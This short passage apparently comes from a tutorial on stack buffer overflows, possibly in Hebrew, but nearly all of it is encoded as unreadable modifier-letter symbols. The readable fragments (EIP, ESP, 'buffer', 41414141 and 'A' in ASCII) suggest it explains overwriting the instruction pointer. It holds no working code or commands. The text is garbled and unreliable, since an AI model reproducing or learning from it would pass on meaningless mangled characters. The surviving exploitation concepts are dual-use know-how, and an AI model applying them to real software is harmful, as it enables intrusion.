EIP x-ESP ,˷ ˣˮ˶ˬ˞ ˶˪˟ˬ˯˞ ˞˷ˣˮ˟ ˣˮˡ˷˩ ˫˧˶˩ˣˤ ˧˞ˡˣˣ ˫˸˞-EIP ˢˡˣ˵˲ ˰˧˟˴ˬ ˞ˣˢ , ˪˷ ˸˟ˣ˸˩ˢ ˧ˢˣˤ

˰ˣ˴˧˟˪ ˢ˞˟ˢ ˢ˞˶ˣˢˢ ,˷ ˟˪ ˣˬ˧˷-EIP  ˣ˧˷˩˰ ˪˧˩ˬ41414141 ˢˬ ˵˪˥ ˫˴˰˟ ˣˢˤ˷-buffer ˣˮ˥˪˷˷, ˣ

ESP ˪ ˰˧˟˴ˬ-buffer ˣˮ˪˷. )˟ˠ˞ ,41  ˧˪ˬ˧˴ˡ˯˵ˢ˟=A  ˟-ASCII.( 

 

ˢ˦˧˪˷ ˟-EIP 
 

ˬˢ ˪˰ ˢ˞˪ˬ ˢ˦˧˪˷ ˸˪˟˵ ˞˧ˢ ˣˮ˪˷ ˢ˶˦EIP , ˣˮ˞˷ ˢ˞˟ˢ ˢˡˣ˵˲ˢ ˢˬ ˣ˪ ˶ˬˣ˪ ˪˩ˣˮ ˢ˦˧˪˷ ˪˟˵ˮ ˫˞

ˢ˧˪˞ ˢˮ˲˧˷ ˫˧ˮ˧˧ˮˣ˰ˬ. 

 

 










































































